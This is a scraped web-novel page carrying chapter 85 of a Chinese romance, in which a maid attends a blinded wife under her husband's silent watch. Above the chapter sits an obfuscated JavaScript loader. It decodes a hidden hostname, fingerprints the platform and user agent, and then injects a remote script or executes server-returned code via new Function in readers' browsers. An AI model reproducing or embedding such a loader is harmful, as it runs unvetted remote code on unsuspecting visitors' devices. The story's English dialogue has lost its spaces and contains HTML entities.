妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

85呓语(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

私下找了许多同事,请求他们可以来夫人房里伺候,但都因为连先生的缘故婉拒了。

佐伊只能含泪继续伺候。

一日叁餐照常去送,佐伊总能看到连先生的身影,也被连先生要求多跟夫人聊聊天。

起先只是简单和夫人聊了几句,被询问叫什么?

佐伊把她的名字告诉了夫人:佐伊。

出入夫人的房间,渐渐地也就跟夫人热络了起来。不单单会说一些客套的话,还可以无伤大雅的开起了玩笑。但是,夫人是个好说话的人,连先生却不是,所以佐伊碍着连先生在场,依旧本本分分做人。

午时会出现太阳,阳光很足,但是夫人失明了感觉不到她正在被太阳灼烤。

佐伊只能将帘子拉上,提醒道:“Madam,youcan&#039;tgrillyoureyesinfrontofthesun.”(夫人,眼睛不能对着太阳烤)

裴漾眼前浮现的一丝光束,随着帘子的拉上,她的世界再次陷入到一片黑暗。

她轻轻抬起了手,想要再次触摸到那束光,对于佐伊的话,苦笑道:“Itturnedouttobefacingthesunlight...”(原来是正对阳光…..)

佐伊看着夫人眼睛上的纱布,很是心疼:“Youareonlytemporarilylosingyourlight,Ibelievethedoctorcandefinitelycureyou....”(您只是暂时失去光明,我相信医生一定可以将您治好)

裴漾没有接话,沉默地靠在床头,仿佛在和漫长的时间对峙。

//

家里的小主人已经许久没有见到夫人,哭闹着想要找妈妈,保姆艾达找上佐伊,想要她去询问一下夫人的意见。

佐伊将此事原封不动的传述给了夫人听。

裴漾闻言,下意识摸上了自己的眼睛,实在不想惨状被啵啵看到,张口询问道:“WheredidLianhenggo?”(连衡去哪了?)

佐伊看向坐在床边的连先生,在他凌厉的目光中语塞起来:“Sorry,Idon&#039;tknow.”(抱歉,我不知道)

裴漾抓着衣角的手随着言语的落下,松开了。她浑身散发着从骨子里透出来的冷感,说:“GofindLianHeng,Hehasawaytocoax.”(去找连衡,他有法子哄)

佐伊诧异:“Don&#039;tyouwanttoseeit?”(您不想见见吗?)

裴漾拒绝:“PleasetellAdatotakegoodcareofLianYuanduringthisperiod.”(请告诉艾达这段时间照顾好连愿)

连衡也实在没想到,裴漾已经厌弃他到连啵啵都不见了。

//

大雪连着下了一天,第二天竟然忽然出了太阳,夫人已经待在房内有一周了,如此的封闭不利于身体的恢复,所以佐伊提议出门晒晒太阳,还好夫人对她一直都很好,同意了。

连先生将夫人抱到了轮椅上,推着轮椅在前面走。

佐伊的任务就是陪夫人聊天,她特别好奇,僭越道:“Madam,whydidyoujumpoffthebuilding….”(夫人,您为什么要跳楼)

裴漾闻着一路的香味,暗自猜测着是什么花,听到佐伊的声音,微微抬起下颌:“DidIscareyouatthattime?I&#039;msorry.”(那时我吓到你了吗?抱歉)

佐伊哪里承受得起夫人的道歉,赶忙摆手否认:“No,no.Ijustdon&#039;tunderstand….”(没有,不是,我就是不理解)

裴漾压抑了许久的悲伤随着这个问题的降临,唇角扬起一抹苦笑:“Zoe,Idon&#039;tknowifyouunderstand….有的人可以像雪一样,落下时寂静无声,却能覆盖了整个世界。”(佐伊,我不知道你是否明白….)

佐伊听着夫人说的汉语,更加不理解了:“Sorrymadam,Idon&#039;tunderstandChinese.”(抱歉夫人,我不懂中文)

“Peoplecanbelikesnow,Silencewhenfalling,Butitcancoverthewholeworld.”裴漾用英语翻译道:“Youcaninterpretitas,Theexistenceoractionsofaperson,Seeminglyunremarkable,Butithasaprofoundimpact.”

(人可以像雪,落下时沉默,但它可以覆盖整个世界)

(你可以解读成,人的存在或行为,虽然看似不起眼,却有着深远的影响)

佐伊越听越糊涂,傻笑着摇了摇头:“PerhapsIcannotempathizewithit,ButIcantellyou&#039;reinalotofpain.”(也许我无法理解它,但是我能看出来您很痛苦)

裴漾脑海里回想到连衡的模样,心底立时阵痛不止,语气中夹杂着自我嘲讽:“Ijustrememberedhimagain…”(我不过是又想起了他…)

佐伊疑惑:“He?AreyoureferringtoMr.Lian?”(他?您是指连先生吗?)

她刚问完,夫人坐在轮椅上沉默不语起来。

佐伊察言观色道:“SinceItookcareofyouuntilnow,YounevermentionedMr.Lian,Isitbecauseyouhatehim?”(自从我照顾您到现在,您不曾提起过连先生,是因为您恨他吗?)

裴漾静静地没动,过了许久,久到佐伊都认为她不会回答的时候,她缓缓笑了笑:“Idon&#039;thatehim.”(我不恨他)

佐伊望向连先生,掏出纸笔写字,上面赫然用英语写着:「我还需要再问些什么问题」

连衡摇了摇头。

没有了问题,佐伊松了一口气,说话的声音都夹杂着一丝轻快:“We&#039;realmostatthepavilionahead,Doyouenjoywatchingplays,Wecanlistentoit.”(我们快到前面的凉亭了,您喜欢看戏吗,我们可以听一听)

裴漾只觉得整个世界都是寂静的黑,她从不看戏,但此时点了点头。

轮椅稳稳当当的停在了凉亭下,佐伊去将壁炉的火种点燃,站到了一侧。

连先生将夫人腿上的毛毯往上提了提,就在这时,夫人好像感觉到了身前的气息,说话道:“Zoe,Isthatyou?”(佐伊,是你吗?)

被连先生阴沉的眼神扫视,佐伊只能乖乖配合,出声道:“It&#039;sme,Yourblankethasslippeddown.”(是我,您的毯子滑下去了)

裴漾鼻息闻到了一股熟悉的松香气,自我怀疑起来:“喔。”

她轻轻往前嗅了嗅,愈发熟悉的味道引得她伸手抓住了——纤细的手臂。

佐伊即刻说道:“Doyouneedanything?”(是需要什么吗?)

裴漾听声,松开手臂,靠在了椅背上,摇了摇头。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间